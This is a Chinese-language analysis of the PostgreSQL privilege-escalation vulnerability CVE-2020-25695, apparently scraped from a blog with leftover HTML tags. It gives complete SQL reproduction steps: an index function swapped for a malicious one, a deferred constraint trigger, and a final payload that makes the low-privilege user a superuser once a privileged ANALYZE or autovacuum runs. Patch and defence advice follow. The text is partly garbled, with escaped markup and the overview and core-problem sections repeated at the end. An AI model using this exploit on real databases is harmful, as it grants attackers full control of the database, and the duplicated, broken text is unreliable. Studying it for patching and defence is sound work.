PostgreSQL权限提升漏洞分析(CVE-2020-25695)<\/h1>

漏洞概述<\/h2>
CVE-2020-25695是PostgreSQL数据库中的一个权限提升漏洞，影响从9.5开始的所有受支持的PostgreSQL版本。该漏洞允许低权限用户通过精心构造的SQL语句，在特定条件下提升为超级用户权限。<\/p>

漏洞原理<\/h2>

核心问题<\/h3>
该漏洞属于TOCTOU(检查时间到使用时间)类问题，具体表现为PostgreSQL在执行安全受限操作(如ANALYZE、VACUUM等)时，在退出安全受限操作前未完全清除\/重置状态。<\/p>

技术细节<\/h3>

安全受限操作上下文切换<\/strong>：<\/p>

PostgreSQL在执行ANALYZE或VACUUM操作时，会切换到表所有者的用户ID<\/li>
同时会设置SECURITY_RESTRICTED_OPERATION标志<\/li>
但在提交事务(CommitTransactionCommand)之前就恢复了用户上下文<\/li> <\/ul> <\/li>

延迟触发器利用<\/strong>：<\/p>

使用INITIALLY DEFERRED<\/code>约束触发器，使触发器在事务结束时才执行<\/li>
此时安全上下文已恢复为调用用户，但仍在事务提交前<\/li> <\/ul> <\/li>
函数替换技巧<\/strong>：<\/p> 先创建IMMUTABLE函数用于创建索引<\/li> 然后使用CREATE OR REPLACE FUNCTION替换为实际执行的恶意函数<\/li> 绕过索引对IMMUTABLE函数的检查<\/li> <\/ul> <\/li> <\/ol> 漏洞复现步骤<\/h2> 环境准备<\/h3> 受影响版本：PostgreSQL 9.5及以上<\/li> 测试用户：普通用户foo，超级用户postgres<\/li> <\/ul> 详细复现过程<\/h3> 创建基础表结构<\/strong>：<\/li> <\/ol> -- 创建用于存储结果的表 <\/span><\/span><\/span><\/span>CREATE<\/span> TABLE<\/span> t0 (s varchar); <\/span><\/span>CREATE<\/span> TABLE<\/span> t1 (s varchar); <\/span><\/span><\/code><\/pre> 创建初始函数和索引<\/strong>：<\/li> <\/ol> -- 创建初始IMMUTABLE函数 <\/span><\/span><\/span><\/span>CREATE<\/span> FUNCTION<\/span> sfunc(integer) <\/span><\/span> RETURNS<\/span> integer <\/span><\/span> LANGUAGE<\/span> sql<\/span> IMMUTABLE<\/span> AS<\/span> <\/span><\/span> 'SELECT $1'<\/span>; <\/span><\/span> <\/span><\/span>-- 创建测试表 <\/span><\/span><\/span><\/span>CREATE<\/span> TABLE<\/span> blah (a int, b int); <\/span><\/span>INSERT<\/span> INTO<\/span> blah VALUES<\/span> (1<\/span>,1<\/span>); <\/span><\/span> <\/span><\/span>-- 创建使用该函数的索引 <\/span><\/span><\/span><\/span>CREATE<\/span> INDEX<\/span> indy ON<\/span> blah (sfunc(a)); <\/span><\/span><\/code><\/pre> 替换为恶意函数<\/strong>：<\/li> <\/ol> -- 替换为实际执行的函数 <\/span><\/span><\/span><\/span>CREATE<\/span> OR<\/span> REPLACE<\/span> FUNCTION<\/span> sfunc(integer) RETURNS<\/span> integer <\/span><\/span> LANGUAGE<\/span> sql<\/span> <\/span><\/span> SECURITY<\/span> INVOKER<\/span> AS<\/span> <\/span><\/span>'INSERT INTO tmp.public.t0 VALUES (current_user); SELECT $1'<\/span>; <\/span><\/span><\/code><\/pre> 创建约束触发器<\/strong>：<\/li> <\/ol> -- 创建最终执行特权操作的函数 <\/span><\/span><\/span><\/span>CREATE<\/span> OR<\/span> REPLACE<\/span> FUNCTION<\/span> snfunc(integer) RETURNS<\/span> integer <\/span><\/span> LANGUAGE<\/span> sql<\/span> <\/span><\/span> SECURITY<\/span> INVOKER<\/span> AS<\/span> <\/span><\/span>'INSERT INTO tmp.public.t1 VALUES (current_user); SELECT $1'<\/span>; <\/span><\/span> <\/span><\/span>-- 创建触发器函数 <\/span><\/span><\/span><\/span>CREATE<\/span> OR<\/span> REPLACE<\/span> FUNCTION<\/span> strig() RETURNS<\/span> trigger<\/span> <\/span><\/span> AS<\/span> $<\/span>e$ BEGIN<\/span> <\/span><\/span> PERFORM tmp.public<\/span>.snfunc(1000<\/span>); RETURN<\/span> NEW<\/span>; <\/span><\/span> END<\/span> $<\/span>e$ <\/span><\/span>LANGUAGE<\/span> plpgsql; <\/span><\/span> <\/span><\/span>-- 创建延迟约束触发器 <\/span><\/span><\/span><\/span>CREATE<\/span> CONSTRAINT<\/span> TRIGGER<\/span> def <\/span><\/span> AFTER<\/span> INSERT<\/span> ON<\/span> t0 <\/span><\/span> INITIALLY<\/span> DEFERRED<\/span> <\/span><\/span> FOR<\/span> EACH<\/span> ROW<\/span> <\/span><\/span> EXECUTE<\/span> PROCEDURE<\/span> strig(); <\/span><\/span><\/code><\/pre> 触发漏洞<\/strong>：<\/li> <\/ol> -- 手动触发(需要特权用户执行) <\/span><\/span><\/span><\/span>ANALYZE<\/span>; <\/span><\/span> <\/span><\/span>-- 或设置自动触发 <\/span><\/span><\/span><\/span>ALTER<\/span> TABLE<\/span> blah SET<\/span> (autovacuum_vacuum_threshold =<\/span> 1<\/span>); <\/span><\/span>ALTER<\/span> TABLE<\/span> blah SET<\/span> (autovacuum_analyze_threshold =<\/span> 1<\/span>); <\/span><\/span>-- 然后通过插入\/删除数据触发autovacuum <\/span><\/span><\/span><\/code><\/pre> 验证结果<\/strong>：<\/li> <\/ol> SELECT<\/span> *<\/span> FROM<\/span> t1; -- 应显示特权用户(postgres)执行了操作 <\/span><\/span><\/span><\/code><\/pre>完整利用示例<\/h3> -- 特权提升完整利用 <\/span><\/span><\/span><\/span>CREATE<\/span> OR<\/span> REPLACE<\/span> FUNCTION<\/span> snfunc2(integer) RETURNS<\/span> integer <\/span><\/span> LANGUAGE<\/span> sql<\/span> <\/span><\/span> SECURITY<\/span> INVOKER<\/span> AS<\/span> <\/span><\/span>'INSERT INTO tmp.public.t1 VALUES (current_user); <\/span><\/span><\/span>ALTER USER foo SUPERUSER; <\/span><\/span><\/span>SELECT $1'<\/span>; <\/span><\/span> <\/span><\/span>-- 更新触发器函数检查上下文 <\/span><\/span><\/span><\/span>CREATE<\/span> OR<\/span> REPLACE<\/span> FUNCTION<\/span> strig() RETURNS<\/span> trigger<\/span> <\/span><\/span>AS<\/span> $<\/span>e$ <\/span><\/span>BEGIN<\/span> <\/span><\/span>IF<\/span> current_user<\/span> =<\/span> 'postgres'<\/span> THEN<\/span> <\/span><\/span> PERFORM tmp.public<\/span>.snfunc2(1000<\/span>); RETURN<\/span> NEW<\/span>; <\/span><\/span>ELSE<\/span> <\/span><\/span> PERFORM tmp.public<\/span>.snfunc(1000<\/span>); RETURN<\/span> NEW<\/span>; <\/span><\/span>END<\/span> IF<\/span>; <\/span><\/span>END<\/span> $<\/span>e$ <\/span><\/span>LANGUAGE<\/span> plpgsql; <\/span><\/span><\/code><\/pre>漏洞修复<\/h2> PostgreSQL官方已发布补丁修复此漏洞。修复方案包括：<\/p> 补丁更新<\/strong>：<\/p> 所有受支持的PostgreSQL版本都已发布修复补丁<\/li> 用户应从https:\/\/www.postgresql.org\/获取最新版本<\/li> <\/ul> <\/li> 临时缓解措施<\/strong>：<\/p> 禁用autovacuum<\/li> 避免手动执行ANALYZE、CLUSTER、REINDEX、CREATE INDEX、VACUUM FULL、REFRESH MATERIALIZED VIEW等操作<\/li> 注意：此缓解措施可能导致性能下降<\/li> <\/ul> <\/li> <\/ol> 漏洞影响<\/h2> 影响范围<\/strong>：<\/p> PostgreSQL 9.5及以上所有版本<\/li> 默认配置下存在风险<\/li> <\/ul> <\/li> 利用条件<\/strong>：<\/p> 攻击者需要具有创建表、函数、触发器等的基本权限<\/li> 需要特权用户执行ANALYZE\/VACUUM或等待autovacuum自动执行<\/li> <\/ul> <\/li> 危害<\/strong>：<\/p> 普通用户可提升为超级用户<\/li> 完全控制数据库系统<\/li> <\/ul> <\/li> <\/ol> 防御建议<\/h2> 及时更新<\/strong>：<\/p> 尽快升级到已修复的PostgreSQL版本<\/li> <\/ul> <\/li> 权限控制<\/strong>：<\/p> 严格控制用户创建函数、触发器的权限<\/li> 限制用户创建索引的权限<\/li> <\/ul> <\/li> 监控措施<\/strong>：<\/p> 监控异常的函数创建和替换操作<\/li> 审计ANALYZE\/VACUUM操作的执行情况<\/li> <\/ul> <\/li> 安全配置<\/strong>：<\/p> 考虑禁用不必要的功能<\/li> 定期审查数据库中的函数和触发器<\/li> <\/ul> <\/li> <\/ol> 技术总结<\/h2> 该漏洞巧妙利用了PostgreSQL在安全上下文切换和事务处理时序上的缺陷，通过延迟触发器和函数替换的组合技术，实现了权限提升。漏洞利用链完整展示了数据库安全机制中的薄弱环节，对理解数据库安全设计具有重要参考价值。<\/p>

PostgreSQL权限提升漏洞分析(CVE-2020-25695)<\/h1>

漏洞概述<\/h2> CVE-2020-25695是PostgreSQL数据库中的一个权限提升漏洞，影响从9.5开始的所有受支持的PostgreSQL版本。该漏洞允许低权限用户通过精心构造的SQL语句，在特定条件下提升为超级用户权限。<\/p>

漏洞原理<\/h2>

核心问题<\/h3> 该漏洞属于TOCTOU(检查时间到使用时间)类问题，具体表现为PostgreSQL在执行安全受限操作(如ANALYZE、VACUUM等)时，在退出安全受限操作前未完全清除\/重置状态。<\/p>

漏洞复现步骤<\/h2>

漏洞概述<\/h2>
CVE-2020-25695是PostgreSQL数据库中的一个权限提升漏洞，影响从9.5开始的所有受支持的PostgreSQL版本。该漏洞允许低权限用户通过精心构造的SQL语句，在特定条件下提升为超级用户权限。<\/p>

核心问题<\/h3>
该漏洞属于TOCTOU(检查时间到使用时间)类问题，具体表现为PostgreSQL在执行安全受限操作(如ANALYZE、VACUUM等)时，在退出安全受限操作前未完全清除\/重置状态。<\/p>